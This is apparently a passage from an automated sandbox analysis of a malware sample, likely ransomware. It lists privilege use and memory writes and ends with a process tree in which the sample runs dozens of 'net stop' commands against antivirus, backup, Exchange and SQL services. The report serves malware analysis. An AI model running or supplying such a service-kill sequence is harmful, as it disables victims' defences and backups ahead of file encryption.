Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url2 = "https://login.aliexpress.com/"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdge.exe

Runs net.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

MicrosoftEdgeCP.exe

pid process

3076 MicrosoftEdgeCP.exe

pid	process
3076	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 58 IoCs

Processes:

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exevssvc.exewmic.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	pid	process
Token: SeDebugPrivilege	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeDebugPrivilege	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeDebugPrivilege	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeBackupPrivilege	2804	vssvc.exe
Token: SeRestorePrivilege	2804	vssvc.exe
Token: SeAuditPrivilege	2804	vssvc.exe
Token: SeIncreaseQuotaPrivilege	252	wmic.exe
Token: SeSecurityPrivilege	252	wmic.exe
Token: SeTakeOwnershipPrivilege	252	wmic.exe
Token: SeLoadDriverPrivilege	252	wmic.exe
Token: SeSystemProfilePrivilege	252	wmic.exe
Token: SeSystemtimePrivilege	252	wmic.exe
Token: SeProfSingleProcessPrivilege	252	wmic.exe
Token: SeIncBasePriorityPrivilege	252	wmic.exe
Token: SeCreatePagefilePrivilege	252	wmic.exe
Token: SeBackupPrivilege	252	wmic.exe
Token: SeRestorePrivilege	252	wmic.exe
Token: SeShutdownPrivilege	252	wmic.exe
Token: SeDebugPrivilege	252	wmic.exe
Token: SeSystemEnvironmentPrivilege	252	wmic.exe
Token: SeRemoteShutdownPrivilege	252	wmic.exe
Token: SeUndockPrivilege	252	wmic.exe
Token: SeManageVolumePrivilege	252	wmic.exe
Token: 33	252	wmic.exe
Token: 34	252	wmic.exe
Token: 35	252	wmic.exe
Token: 36	252	wmic.exe
Token: SeIncreaseQuotaPrivilege	252	wmic.exe
Token: SeSecurityPrivilege	252	wmic.exe
Token: SeTakeOwnershipPrivilege	252	wmic.exe
Token: SeLoadDriverPrivilege	252	wmic.exe
Token: SeSystemProfilePrivilege	252	wmic.exe
Token: SeSystemtimePrivilege	252	wmic.exe
Token: SeProfSingleProcessPrivilege	252	wmic.exe
Token: SeIncBasePriorityPrivilege	252	wmic.exe
Token: SeCreatePagefilePrivilege	252	wmic.exe
Token: SeBackupPrivilege	252	wmic.exe
Token: SeRestorePrivilege	252	wmic.exe
Token: SeShutdownPrivilege	252	wmic.exe
Token: SeDebugPrivilege	252	wmic.exe
Token: SeSystemEnvironmentPrivilege	252	wmic.exe
Token: SeRemoteShutdownPrivilege	252	wmic.exe
Token: SeUndockPrivilege	252	wmic.exe
Token: SeManageVolumePrivilege	252	wmic.exe
Token: 33	252	wmic.exe
Token: 34	252	wmic.exe
Token: 35	252	wmic.exe
Token: 36	252	wmic.exe
Token: SeDebugPrivilege	3280	MicrosoftEdge.exe
Token: SeDebugPrivilege	3280	MicrosoftEdge.exe
Token: SeDebugPrivilege	3280	MicrosoftEdge.exe
Token: SeDebugPrivilege	3280	MicrosoftEdge.exe
Token: SeDebugPrivilege	2836	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	2836	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	2836	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	2836	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4356	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4356	MicrosoftEdgeCP.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exe

pid process

3280 MicrosoftEdge.exe
3076 MicrosoftEdgeCP.exe
3076 MicrosoftEdgeCP.exe

pid	process
3280	MicrosoftEdge.exe
3076	MicrosoftEdgeCP.exe
3076	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 3656 wrote to memory of 4104	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 4104	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 4104	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 4104 wrote to memory of 3028	4104	net.exe	net1.exe
PID 4104 wrote to memory of 3028	4104	net.exe	net1.exe
PID 4104 wrote to memory of 3028	4104	net.exe	net1.exe
PID 3656 wrote to memory of 700	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 700	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 700	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 700 wrote to memory of 2232	700	net.exe	net1.exe
PID 700 wrote to memory of 2232	700	net.exe	net1.exe
PID 700 wrote to memory of 2232	700	net.exe	net1.exe
PID 3656 wrote to memory of 4076	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 4076	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 4076	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 4076 wrote to memory of 4060	4076	net.exe	net1.exe
PID 4076 wrote to memory of 4060	4076	net.exe	net1.exe
PID 4076 wrote to memory of 4060	4076	net.exe	net1.exe
PID 3656 wrote to memory of 3404	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 3404	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 3404	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3404 wrote to memory of 4332	3404	net.exe	net1.exe
PID 3404 wrote to memory of 4332	3404	net.exe	net1.exe
PID 3404 wrote to memory of 4332	3404	net.exe	net1.exe
PID 3656 wrote to memory of 4292	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 4292	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 4292	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 4292 wrote to memory of 4260	4292	net.exe	net1.exe
PID 4292 wrote to memory of 4260	4292	net.exe	net1.exe
PID 4292 wrote to memory of 4260	4292	net.exe	net1.exe
PID 3656 wrote to memory of 4412	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 4412	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 4412	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 4412 wrote to memory of 4456	4412	net.exe	net1.exe
PID 4412 wrote to memory of 4456	4412	net.exe	net1.exe
PID 4412 wrote to memory of 4456	4412	net.exe	net1.exe
PID 3656 wrote to memory of 4432	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 4432	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 4432	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 4432 wrote to memory of 4340	4432	net.exe	net1.exe
PID 4432 wrote to memory of 4340	4432	net.exe	net1.exe
PID 4432 wrote to memory of 4340	4432	net.exe	net1.exe
PID 3656 wrote to memory of 3280	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 3280	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 3280	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3280 wrote to memory of 3920	3280	net.exe	net1.exe
PID 3280 wrote to memory of 3920	3280	net.exe	net1.exe
PID 3280 wrote to memory of 3920	3280	net.exe	net1.exe
PID 3656 wrote to memory of 1984	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 1984	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 1984	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1984 wrote to memory of 3208	1984	net.exe	net1.exe
PID 1984 wrote to memory of 3208	1984	net.exe	net1.exe
PID 1984 wrote to memory of 3208	1984	net.exe	net1.exe
PID 3656 wrote to memory of 424	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 424	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 424	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 424 wrote to memory of 652	424	net.exe	net1.exe
PID 424 wrote to memory of 652	424	net.exe	net1.exe
PID 424 wrote to memory of 652	424	net.exe	net1.exe
PID 3656 wrote to memory of 856	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 856	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3656 wrote to memory of 856	3656	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 856 wrote to memory of 1044	856	net.exe	net1.exe

C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
"C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe"
1⤵
- Modifies extensions of user files
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3656

C:\Windows\SysWOW64\net.exe
net stop Acronis VSS Provider /y
2⤵
- Suspicious use of WriteProcessMemory
PID:4104

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Acronis VSS Provider /y
3⤵
PID:3028

C:\Windows\SysWOW64\net.exe
net stop Enterprise Client Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:700

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Enterprise Client Service /y
3⤵
PID:2232

C:\Windows\SysWOW64\net.exe
net stop Sophos Agent /y
2⤵
- Suspicious use of WriteProcessMemory
PID:4076

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Agent /y
3⤵
PID:4060

C:\Windows\SysWOW64\net.exe
net stop Sophos AutoUpdate Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3404

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos AutoUpdate Service /y
3⤵
PID:4332

C:\Windows\SysWOW64\net.exe
net stop Sophos Clean Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:4292

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Clean Service /y
3⤵
PID:4260

C:\Windows\SysWOW64\net.exe
net stop Sophos Device Control Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:4412

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Device Control Service /y
3⤵
PID:4456

C:\Windows\SysWOW64\net.exe
net stop Sophos File Scanner Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:4432

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos File Scanner Service /y
3⤵
PID:4340

C:\Windows\SysWOW64\net.exe
net stop Sophos Health Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3280

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Health Service /y
3⤵
PID:3920

C:\Windows\SysWOW64\net.exe
net stop Sophos MCS Agent /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos MCS Agent /y
3⤵
PID:3208

C:\Windows\SysWOW64\net.exe
net stop Sophos MCS Client /y
2⤵
- Suspicious use of WriteProcessMemory
PID:424

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos MCS Client /y
3⤵
PID:652

C:\Windows\SysWOW64\net.exe
net stop Sophos Message Router /y
2⤵
- Suspicious use of WriteProcessMemory
PID:856

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Message Router /y
3⤵
PID:1044

C:\Windows\SysWOW64\net.exe
net stop Sophos SafeStore Service /y
2⤵
PID:1108

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos SafeStore Service /y
3⤵
PID:1344

C:\Windows\SysWOW64\net.exe
net stop Sophos Protection System Service /y
2⤵
PID:1420

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Protection System Service /y
3⤵
PID:1672

C:\Windows\SysWOW64\net.exe
net stop Sophos Web Control Service /y
2⤵
PID:1760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Web Control Service /y
3⤵
PID:1716

C:\Windows\SysWOW64\net.exe
net stop SQLsafe /y
2⤵
PID:2128

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLsafe /y
3⤵
PID:2492

C:\Windows\SysWOW64\net.exe
net stop SQLsafe Filter Service /y
2⤵
PID:2740

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLsafe Filter Service /y
3⤵
PID:396

C:\Windows\SysWOW64\net.exe
net stop Symantec System Recovery /y
2⤵
PID:3284

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Symantec System Recovery /y
3⤵
PID:3848

C:\Windows\SysWOW64\net.exe
net stop Veeam Backup Service Data Catalog /y
2⤵
PID:2224

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Veeam Backup Service Data Catalog /y
3⤵
PID:4816

C:\Windows\SysWOW64\net.exe
net stop AcronisAgent /y
2⤵
PID:4832

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
3⤵
PID:4776

C:\Windows\SysWOW64\net.exe
net stop AcrSch2Svc /y
2⤵
PID:4948

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
3⤵
PID:1944

C:\Windows\SysWOW64\net.exe
net stop Antivirus /y
2⤵
PID:4996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Antivirus /y
3⤵
PID:4888

C:\Windows\SysWOW64\net.exe
net stop ARSM /y
2⤵
PID:4956

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ARSM /y
3⤵
PID:4584

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentAccelerator /y
2⤵
PID:4544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
3⤵
PID:3132

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentBrowser /y
2⤵
PID:5012

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
3⤵
PID:5052

C:\Windows\SysWOW64\net.exe
net stop BackupExecDeviceMediaService /y
2⤵
PID:5064

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
3⤵
PID:676

C:\Windows\SysWOW64\net.exe
net stop BackupExecJobEngine /y
2⤵
PID:212

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
3⤵
PID:1168

C:\Windows\SysWOW64\net.exe
net stop BackupExecManagementService /y
2⤵
PID:680

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
3⤵
PID:2520

C:\Windows\SysWOW64\net.exe
net stop BackupExecRPCService /y
2⤵
PID:1072

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
3⤵
PID:4916

C:\Windows\SysWOW64\net.exe
net stop BackupExecVSSProvider /y
2⤵
PID:3688

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
3⤵
PID:2408

C:\Windows\SysWOW64\net.exe
net stop bedbg /y
2⤵
PID:1084

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop bedbg /y
3⤵
PID:2328

C:\Windows\SysWOW64\net.exe
net stop DCAgent /y
2⤵
PID:1556

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DCAgent /y
3⤵
PID:1668

C:\Windows\SysWOW64\net.exe
net stop EPSecurityService /y
2⤵
PID:1744

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPSecurityService /y
3⤵
PID:2176

C:\Windows\SysWOW64\net.exe
net stop EPUpdateService /y
2⤵
PID:4504

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPUpdateService /y
3⤵
PID:2816

C:\Windows\SysWOW64\net.exe
net stop EraserSvc11710 /y
2⤵
PID:2972

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EraserSvc11710 /y
3⤵
PID:2872

C:\Windows\SysWOW64\net.exe
net stop EsgShKernel /y
2⤵
PID:3704

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EsgShKernel /y
3⤵
PID:2200

C:\Windows\SysWOW64\net.exe
net stop FA_Scheduler /y
2⤵
PID:1272

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop FA_Scheduler /y
3⤵
PID:3660

C:\Windows\SysWOW64\net.exe
net stop IISAdmin /y
2⤵
PID:1844

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IISAdmin /y
3⤵
PID:3728

C:\Windows\SysWOW64\net.exe
net stop IMAP4Svc /y
2⤵
PID:3316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IMAP4Svc /y
3⤵
PID:3712

C:\Windows\SysWOW64\net.exe
net stop macmnsvc /y
2⤵
PID:4424

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop macmnsvc /y
3⤵
PID:5088

C:\Windows\SysWOW64\net.exe
net stop masvc /y
2⤵
PID:5020

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop masvc /y
3⤵
PID:3828

C:\Windows\SysWOW64\net.exe
net stop MBAMService /y
2⤵
PID:3016

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBAMService /y
3⤵
PID:4100

C:\Windows\SysWOW64\net.exe
net stop MBEndpointAgent /y
2⤵
PID:748

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBEndpointAgent /y
3⤵
PID:752

C:\Windows\SysWOW64\net.exe
net stop McAfeeEngineService /y
2⤵
PID:3532

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeEngineService /y
3⤵
PID:3468

C:\Windows\SysWOW64\net.exe
net stop McAfeeFramework /y
2⤵
PID:3076

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeFramework /y
3⤵
PID:4264

C:\Windows\SysWOW64\net.exe
net stop McAfeeFrameworkMcAfeeFramework /y
2⤵
PID:4336

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y
3⤵
PID:4284

C:\Windows\SysWOW64\net.exe
net stop McShield /y
2⤵
PID:4400

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McShield /y
3⤵
PID:4388

C:\Windows\SysWOW64\net.exe
net stop McTaskManager /y
2⤵
PID:4360

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McTaskManager /y
3⤵
PID:4372

C:\Windows\SysWOW64\net.exe
net stop mfemms /y
2⤵
PID:3320

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfemms /y
3⤵
PID:3784

C:\Windows\SysWOW64\net.exe
net stop mfevtp /y
2⤵
PID:4520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfevtp /y
3⤵
PID:4148

C:\Windows\SysWOW64\net.exe
net stop MMS /y
2⤵
PID:516

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MMS /y
3⤵
PID:588

C:\Windows\SysWOW64\net.exe
net stop mozyprobackup /y
2⤵
PID:1012

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mozyprobackup /y
3⤵
PID:356

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer /y
2⤵
PID:1180

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer /y
3⤵
PID:1184

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer100 /y
2⤵
PID:1440

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer100 /y
3⤵
PID:1452

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer110 /y
2⤵
PID:1808

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer110 /y
3⤵
PID:1912

C:\Windows\SysWOW64\net.exe
net stop MSExchangeES /y
2⤵
PID:2368

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeES /y
3⤵
PID:2364

C:\Windows\SysWOW64\net.exe
net stop MSExchangeIS /y
2⤵
PID:2788

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeIS /y
3⤵
PID:2776

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMGMT /y
2⤵
PID:3252

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMGMT /y
3⤵
PID:3596

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMTA /y
2⤵
PID:4828

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMTA /y
3⤵
PID:4748

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSA /y
2⤵
PID:4940

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSA /y
3⤵
PID:1328

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSRS /y
2⤵
PID:2316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSRS /y
3⤵
PID:4980

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ SQL_2008 /y
2⤵
PID:4904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ SQL_2008 /y
3⤵
PID:2932

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ SYSTEM_BGC /y
2⤵
PID:4888

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ SYSTEM_BGC /y
3⤵
PID:1576

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ TPS /y
2⤵
PID:3136

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ TPS /y
3⤵
PID:3148

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ TPSAMA /y
2⤵
PID:5048

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ TPSAMA /y
3⤵
PID:4744

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ BKUPEXEC /y
2⤵
PID:196

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ BKUPEXEC /y
3⤵
PID:2656

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ ECWDB2 /y
2⤵
PID:1232

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ ECWDB2 /y
3⤵
PID:604

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PRACTICEMGT /y
2⤵
PID:3052

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PRACTICEMGT /y
3⤵
PID:4840

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PRACTTICEBGC /y
2⤵
PID:4656

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PRACTTICEBGC /y
3⤵
PID:4784

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PROFXENGAGEMENT /y
2⤵
PID:1228

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PROFXENGAGEMENT /y
3⤵
PID:948

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SBSMONITORING /y
2⤵
PID:2508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SBSMONITORING /y
3⤵
PID:1320

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SHAREPOINT /y
2⤵
PID:1620

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SHAREPOINT /y
3⤵
PID:1928

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SQL_2008 /y
2⤵
PID:4476

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SQL_2008 /y
3⤵
PID:2456

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SYSTEM_BGC /y
2⤵
PID:2760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SYSTEM_BGC /y
3⤵
PID:2872

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ TPS /y
2⤵
PID:2924

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ TPS /y
3⤵
PID:2292

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ TPSAMA /y
2⤵
PID:4792

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ TPSAMA /y
3⤵
PID:3960

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2008R2 /y
2⤵
PID:3952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
3⤵
PID:3676

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2012 /y
2⤵
PID:4448

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2012 /y
3⤵
PID:3240

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher /y
2⤵
PID:5032

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher /y
3⤵
PID:4128

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
2⤵
PID:3932

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
3⤵
PID:4108

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SBSMONITORING /y
2⤵
PID:3292

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SBSMONITORING /y
3⤵
PID:404

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SHAREPOINT /y
2⤵
PID:4244

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SHAREPOINT /y
3⤵
PID:4248

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SQL_2008 /y
2⤵
PID:3496

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SQL_2008 /y
3⤵
PID:4332

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SYSTEM_BGC /y
2⤵
PID:4396

